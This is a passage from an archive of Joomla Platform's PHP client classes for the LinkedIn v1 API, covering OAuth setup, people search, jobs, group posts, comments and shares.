* @param string $groupId The unique identifier for a group.
* @param string $title Post title.
* @param string $summary Post summary.
*
* @return string The created post's id.
*
* @since 3.2.0
*/
public function createPost($groupId, $title, $summary)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/groups/' . $groupId . '/posts';
// Build xml.
$xml = '<post><title>' . $title .
'</title><summary>' . $summary .
'</summary></post>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
// Return the post id.
$response = explode('posts/',
$response->headers['Location']);
return $response[1];
}
/**
* Method to like or unlike a post.
*
* @param string $postId The unique identifier for a group.
* @param boolean $like True to like post, false otherwise.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
private function _likeUnlike($postId, $like)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId .
'/relation-to-viewer/is-liked';
// Build xml.
$xml = '<is-liked>' . $this->booleanToString($like) .
'</is-liked>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to like a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function likePost($postId)
{
return $this->_likeUnlike($postId, true);
}
/**
* Method used to unlike a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unlikePost($postId)
{
return $this->_likeUnlike($postId, false);
}
/**
* Method to follow or unfollow a post.
*
* @param string $postId The unique identifier for a group.
* @param boolean $follow True to like post, false otherwise.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
private function _followUnfollow($postId, $follow)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId .
'/relation-to-viewer/is-following';
// Build xml.
$xml = '<is-following>' .
$this->booleanToString($follow) . '</is-following>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to follow a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function followPost($postId)
{
return $this->_followUnfollow($postId, true);
}
/**
* Method used to unfollow a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unfollowPost($postId)
{
return $this->_followUnfollow($postId, false);
}
/**
* Method to flag a post as a Promotion or Job.
*
* @param string $postId The unique identifier for a group.
* @param string $flag Flag as a 'promotion' or
'job'.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function flagPost($postId, $flag)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId . '/category/code';
// Build xml.
$xml = '<code>' . $flag . '</code>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method to delete a post if the current user is the creator or flag it
as inappropriate otherwise.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deletePost($postId)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to access the comments resource.
*
* @param string $commentId The unique identifier for a comment.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getComment($commentId, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/comments/' . $commentId;
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to add a comment to a post
*
* @param string $postId The unique identifier for a group.
* @param string $comment The post comment's text.
*
* @return string The created comment's id.
*
* @since 3.2.0
*/
public function addComment($postId, $comment)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/posts/' . $postId . '/comments';
// Build xml.
$xml = '<comment><text>' . $comment .
'</text></comment>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
// Return the comment id.
$response = explode('comments/',
$response->headers['Location']);
return $response[1];
}
/**
* Method to delete a comment if the current user is the creator or flag
it as inappropriate otherwise.
*
* @param string $commentId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deleteComment($commentId)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/comments/' . $commentId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to get suggested groups for a user.
*
* @param string $personId The unique identifier for a user.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSuggested($personId = null, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId . '/suggestions/groups';
}
else
{
$base .= '~/suggestions/groups';
}
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to delete a group suggestion for a user.
*
* @param string $suggestionId The unique identifier for a suggestion.
* @param string $personId The unique identifier for a user.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deleteSuggestion($suggestionId, $personId = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId . '/suggestions/groups/' . $suggestionId;
}
else
{
$base .= '~/suggestions/groups/' . $suggestionId;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
}
linkedin/jobs.php000064400000021375151171674110010023 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Jobs class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinJobs extends JLinkedinObject
{
/**
* Method to retrieve detailed information about a job.
*
* @param integer $id The unique identifier for a job.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getJob($id, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/jobs/' . $id;
// Set request parameters.
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a list of bookmarked jobs for the current member.
*
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getBookmarked($fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/job-bookmarks';
// Set request parameters.
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to bookmark a job to the current user's account.
*
* @param integer $id The unique identifier for a job.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function bookmark($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/job-bookmarks';
// Build xml.
$xml = '<job-bookmark><job><id>' . $id .
'</id></job></job-bookmark>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to delete a bookmark.
*
* @param integer $id The unique identifier for a job.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deleteBookmark($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/job-bookmarks/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to retrieve job suggestions for the current user.
*
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSuggested($fields = null, $start = 0, $count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/suggestions/job-suggestions';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to search across LinkedIn's job postings.
*
* @param string $fields Request fields beyond the default ones.
* @param string $keywords Members who have all the keywords
anywhere in their profile.
* @param string $companyName Jobs with a matching company name.
* @param string $jobTitle Matches jobs with the same job title.
* @param string $countryCode Matches members with a location in a
specific country. Values are defined in by ISO 3166 standard.
* Country codes must be in all lower
case.
* @param integer $postalCode Matches members centered around a
Postal Code. Must be combined with the country-code parameter.
* Not supported for all countries.
* @param integer $distance Matches members within a distance from
a central point. This is measured in miles.
* @param string $facets Facet buckets to return, e.g. location.
* @param array $facet Array of facet values to search over.
Contains values for company, date-posted, location, job-function,
* industry, and salary, in exactly this
order, null must be specified for an element if no value.
* @param integer $start Starting location within the result set
for paginated returns.
* @param integer $count The number of results returned.
* @param string $sort Controls the search result order. There
are four options: R (relationship), DA (date-posted-asc),
* DD (date-posted-desc).
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function search($fields = null, $keywords = null, $companyName =
null, $jobTitle = null, $countryCode = null, $postalCode = null,
$distance = null, $facets = null, $facet = null, $start = 0, $count = 0,
$sort = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/job-search';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if keywords is specified.
if ($keywords)
{
$data['keywords'] = $keywords;
}
// Check if company-name is specified.
if ($companyName)
{
$data['company-name'] = $companyName;
}
// Check if job-title is specified.
if ($jobTitle)
{
$data['job-title'] = $jobTitle;
}
// Check if country_code is specified.
if ($countryCode)
{
$data['country-code'] = $countryCode;
}
// Check if postal_code is specified.
if ($postalCode)
{
$data['postal-code'] = $postalCode;
}
// Check if distance is specified.
if ($distance)
{
$data['distance'] = $distance;
}
// Check if facets is specified.
if ($facets)
{
$data['facets'] = $facets;
}
// Check if facet is specified.
if ($facet)
{
$data['facet'] = array();
for ($i = 0, $iMax = count($facet); $i < $iMax; $i++)
{
if ($facet[$i])
{
if ($i == 0)
{
$data['facet'][] = 'company,' .
$this->oauth->safeEncode($facet[$i]);
}
if ($i == 1)
{
$data['facet'][] = 'date-posted,' . $facet[$i];
}
if ($i == 2)
{
$data['facet'][] = 'location,' . $facet[$i];
}
if ($i == 3)
{
$data['facet'][] = 'job-function,' .
$this->oauth->safeEncode($facet[$i]);
}
if ($i == 4)
{
$data['facet'][] = 'industry,' . $facet[$i];
}
if ($i == 5)
{
$data['facet'][] = 'salary,' . $facet[$i];
}
}
}
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if sort is specified.
if ($sort)
{
$data['sort'] = $sort;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
}
linkedin/linkedin.php000064400000006371151171674110010662 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Linkedin API instance.
*
* @since 3.2.0
*/
class JLinkedin
{
/**
* @var Registry Options for the Linkedin object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JLinkedinOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* @var JLinkedinPeople Linkedin API object for people.
* @since 3.2.0
*/
protected $people;
/**
* @var JLinkedinGroups Linkedin API object for groups.
* @since 3.2.0
*/
protected $groups;
/**
* @var JLinkedinCompanies Linkedin API object for companies.
* @since 3.2.0
*/
protected $companies;
/**
* @var JLinkedinJobs Linkedin API object for jobs.
* @since 3.2.0
*/
protected $jobs;
/**
* @var JLinkedinStream Linkedin API object for social stream.
* @since 3.2.0
*/
protected $stream;
/**
* @var JLinkedinCommunications Linkedin API object for
communications.
* @since 3.2.0
*/
protected $communications;
/**
* Constructor.
*
* @param JLinkedinOauth $oauth OAuth object
* @param Registry $options Linkedin options object.
* @param JHttp $client The HTTP client object.
*
* @since 3.2.0
*/
public function __construct(JLinkedinOauth $oauth = null, Registry
$options = null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.linkedin.com');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JLinkedinObject Linkedin API object (statuses, users,
favorites, etc.).
*
* @since 3.2.0
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JLinkedin' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JLinkedin instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the Linkedin instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JLinkedin This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
linkedin/oauth.php000064400000006511151171674110010201 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Linkedin API access token.
*
* @since 3.2.0
*/
class JLinkedinOauth extends JOAuth1Client
{
/**
* @var Registry Options for the JLinkedinOauth object.
* @since 3.2.0
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JLinkedinOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->options->def('accessTokenURL',
'https://www.linkedin.com/uas/oauth/accessToken');
$this->options->def('authenticateURL',
'https://www.linkedin.com/uas/oauth/authenticate');
$this->options->def('authoriseURL',
'https://www.linkedin.com/uas/oauth/authorize');
$this->options->def('requestTokenURL',
'https://www.linkedin.com/uas/oauth/requestToken');
// Call the JOauthV1aclient constructor to setup the object.
parent::__construct($this->options, $client, $input);
}
/**
* Method to verify if the access token is valid by making a request to an
API endpoint.
*
* @return boolean Returns true if the access token is valid and false
otherwise.
*
* @since 3.2.0
*/
public function verifyCredentials()
{
$token = $this->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
$data['format'] = 'json';
// Set the API url.
$path = 'https://api.linkedin.com/v1/people::(~)';
// Send the request.
$response = $this->oauthRequest($path, 'GET', $parameters,
$data);
// Verify response
if ($response->code == 200)
{
return true;
}
else
{
return false;
}
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
public function validateResponse($url, $response)
{
if (!$code = $this->getOption('success_code'))
{
$code = 200;
}
if (strpos($url, '::(~)') === false &&
$response->code != $code)
{
if ($error = json_decode($response->body))
{
throw new DomainException('Error code ' .
$error->errorCode . ' received with message: ' .
$error->message . '.');
}
else
{
throw new DomainException($response->body);
}
}
}
/**
* Method used to set permissions.
*
* @param mixed $scope String or an array of string containing
permissions.
*
* @return JLinkedinOauth This object for method chaining
*
* @link https://developer.linkedin.com/documents/authentication
* @since 3.2.0
*/
public function setScope($scope)
{
$this->setOption('scope', $scope);
return $this;
}
/**
* Method to get the current scope
*
* @return string String or an array of string containing permissions.
*
* @since 3.2.0
*/
public function getScope()
{
return $this->getOption('scope');
}
}
linkedin/object.php000064400000004240151171674110010324 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Linkedin API object class for the Joomla Platform.
*
* @since 3.2.0
*/
abstract class JLinkedinObject
{
/**
* @var Registry Options for the Linkedin object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JLinkedinOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* Constructor.
*
* @param Registry $options Linkedin options object.
* @param JHttp $client The HTTP client object.
* @param JLinkedinOAuth $oauth The OAuth client.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JLinkedinOAuth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Method to convert boolean to string.
*
* @param boolean $bool The boolean value to convert.
*
* @return string String with the converted boolean.
*
* @since 3.2.0
*/
public function booleanToString($bool)
{
if ($bool)
{
return 'true';
}
else
{
return 'false';
}
}
/**
* Get an option from the JLinkedinObject instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JLinkedinObject instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JLinkedinObject This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
linkedin/people.php000064400000024002151171674110010340 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API People class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinPeople extends JLinkedinObject
{
/**
* Method to get a member's profile.
*
* @param string $id Member id of the profile you want.
* @param string $url The public profile URL.
* @param string $fields Request fields beyond the default ones.
* @param string $type Choosing public or standard profile.
* @param string $language A comma separated list of locales ordered
from highest to lowest preference.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getProfile($id = null, $url = null, $fields = null, $type
= 'standard', $language = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
$data['format'] = 'json';
// Check if a member id is specified.
if ($id)
{
$base .= 'id=' . $id;
}
elseif (!$url)
{
$base .= '~';
}
// Check if profile url is specified.
if ($url)
{
$base .= 'url=' . $this->oauth->safeEncode($url);
// Choose public profile
if (!strcmp($type, 'public'))
{
$base .= ':public';
}
}
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if language is specified.
$header = array();
if ($language)
{
$header = array('Accept-Language' => $language);
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data, $header);
return json_decode($response->body);
}
/**
* Method to get a list of connections for a user who has granted access
to his/her account.
*
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $modified Values are updated or new.
* @param string $modifiedSince Value as a Unix time stamp of
milliseconds since epoch.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getConnections($fields = null, $start = 0, $count = 500,
$modified = null, $modifiedSince = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/connections';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 500)
{
$data['count'] = $count;
}
// Check if modified is specified.
if ($modified)
{
$data['modified'] = $modified;
}
// Check if modified_since is specified.
if ($modifiedSince)
{
$data['modified-since'] = $modifiedSince;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get information about people.
*
* @param string $fields Request fields beyond the default
ones. provide 'api-standard-profile-request'
* field for out of network profiles.
* @param string $keywords Members who have all the keywords
anywhere in their profile.
* @param string $firstName Members with a matching first name.
Matches must be exact.
* @param string $lastName Members with a matching last name.
Matches must be exactly.
* @param string $companyName Members who have a matching company
name on their profile.
* @param boolean $currentCompany A value of true matches members who
currently work at the company specified in the company-name
* parameter.
* @param string $title Matches members with that title on
their profile.
* @param boolean $currentTitle A value of true matches members
whose title is currently the one specified in the title-name parameter.
* @param string $schoolName Members who have a matching school
name on their profile.
* @param string $currentSchool A value of true matches members who
currently attend the school specified in the school-name parameter.
* @param string $countryCode Matches members with a location in a
specific country. Values are defined in by ISO 3166 standard.
* Country codes must be in all lower
case.
* @param integer $postalCode Matches members centered around a
Postal Code. Must be combined with the country-code parameter.
* Not supported for all countries.
* @param integer $distance Matches members within a distance
from a central point. This is measured in miles.
* @param string $facets Facet buckets to return, e.g.
location.
* @param array $facet Array of facet values to search
over. Contains values for location, industry, network, language,
* current-company, past-company and
school, in exactly this order,
* null must be specified for an
element if no value.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $sort Controls the search result order.
There are four options: connections, recommenders,
* distance and relevance.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function search($fields = null, $keywords = null, $firstName =
null, $lastName = null, $companyName = null,
$currentCompany = null, $title = null, $currentTitle = null, $schoolName
= null, $currentSchool = null, $countryCode = null,
$postalCode = null, $distance = null, $facets = null, $facet = null,
$start = 0, $count = 10, $sort = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people-search';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if keywords is specified.
if ($keywords)
{
$data['keywords'] = $keywords;
}
// Check if first_name is specified.
if ($firstName)
{
$data['first-name'] = $firstName;
}
// Check if last_name is specified.
if ($lastName)
{
$data['last-name'] = $lastName;
}
// Check if company-name is specified.
if ($companyName)
{
$data['company-name'] = $companyName;
}
// Check if current_company is specified.
if ($currentCompany)
{
$data['current-company'] = $currentCompany;
}
// Check if title is specified.
if ($title)
{
$data['title'] = $title;
}
// Check if current_title is specified.
if ($currentTitle)
{
$data['current-title'] = $currentTitle;
}
// Check if school_name is specified.
if ($schoolName)
{
$data['school-name'] = $schoolName;
}
// Check if current_school is specified.
if ($currentSchool)
{
$data['current-school'] = $currentSchool;
}
// Check if country_code is specified.
if ($countryCode)
{
$data['country-code'] = $countryCode;
}
// Check if postal_code is specified.
if ($postalCode)
{
$data['postal-code'] = $postalCode;
}
// Check if distance is specified.
if ($distance)
{
$data['distance'] = $distance;
}
// Check if facets is specified.
if ($facets)
{
$data['facets'] = $facets;
}
// Check if facet is specified.
if ($facet)
{
$data['facet'] = array();
for ($i = 0, $iMax = count($facet); $i < $iMax; $i++)
{
if ($facet[$i])
{
if ($i == 0)
{
$data['facet'][] = 'location,' . $facet[$i];
}
if ($i == 1)
{
$data['facet'][] = 'industry,' . $facet[$i];
}
if ($i == 2)
{
$data['facet'][] = 'network,' . $facet[$i];
}
if ($i == 3)
{
$data['facet'][] = 'language,' . $facet[$i];
}
if ($i == 4)
{
$data['facet'][] = 'current-company,' .
$facet[$i];
}
if ($i == 5)
{
$data['facet'][] = 'past-company,' . $facet[$i];
}
if ($i == 6)
{
$data['facet'][] = 'school,' . $facet[$i];
}
}
}
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 10)
{
$data['count'] = $count;
}
// Check if sort is specified.
if ($sort)
{
$data['sort'] = $sort;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
if (strpos($fields, 'api-standard-profile-request') === false)
{
return json_decode($response->body);
}
// Get header name.
$name = explode('"name": "',
$response->body);
$name = explode('"', $name[1]);
$name = $name[0];
// Get header value.
$value = explode('"value": "',
$response->body);
$value = explode('"', $value[1]);
$value = $value[0];
// Get request url.
$url = explode('"url": "', $response->body);
$url = explode('"', $url[1]);
$url = $url[0];
// Build header for out of network profile.
$header[$name] = $value;
// Send the request.
$response = $this->oauth->oauthRequest($url, 'GET',
$parameters, $data, $header);
return json_decode($response->body);
}
}
linkedin/stream.php000064400000034437151171674110010364 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Social Stream class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinStream extends JLinkedinObject
{
/**
* Method to add a new share. Note: post must contain comment and/or
(title and url).
*
* @param string $visibility One of anyone: all members or
connections-only: connections only.
* @param string $comment Text of member's comment.
* @param string $title Title of shared document.
* @param string $url URL for shared content.
* @param string $image URL for image of shared content.
* @param string $description Description of shared content.
* @param boolean $twitter True to have LinkedIn pass the status
message along to a member's tethered Twitter account.
*
* @return array The decoded JSON response
*
* @since 3.2.0
* @throws RuntimeException
*/
public function share($visibility, $comment = null, $title = null, $url =
null, $image = null, $description = null, $twitter = false)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/shares';
// Check if twitter is true.
if ($twitter)
{
$base .= '?twitter-post=true';
}
// Build xml.
$xml = '<share>
<visibility>
<code>' . $visibility . '</code>
</visibility>';
// Check if comment specified.
if ($comment)
{
$xml .= '<comment>' . $comment .
'</comment>';
}
// Check if title and url are specified.
if ($title && $url)
{
$xml .= '<content>
<title>' . $title . '</title>
<submitted-url>' . $url .
'</submitted-url>';
// Check if image is specified.
if ($image)
{
$xml .= '<submitted-image-url>' . $image .
'</submitted-image-url>';
}
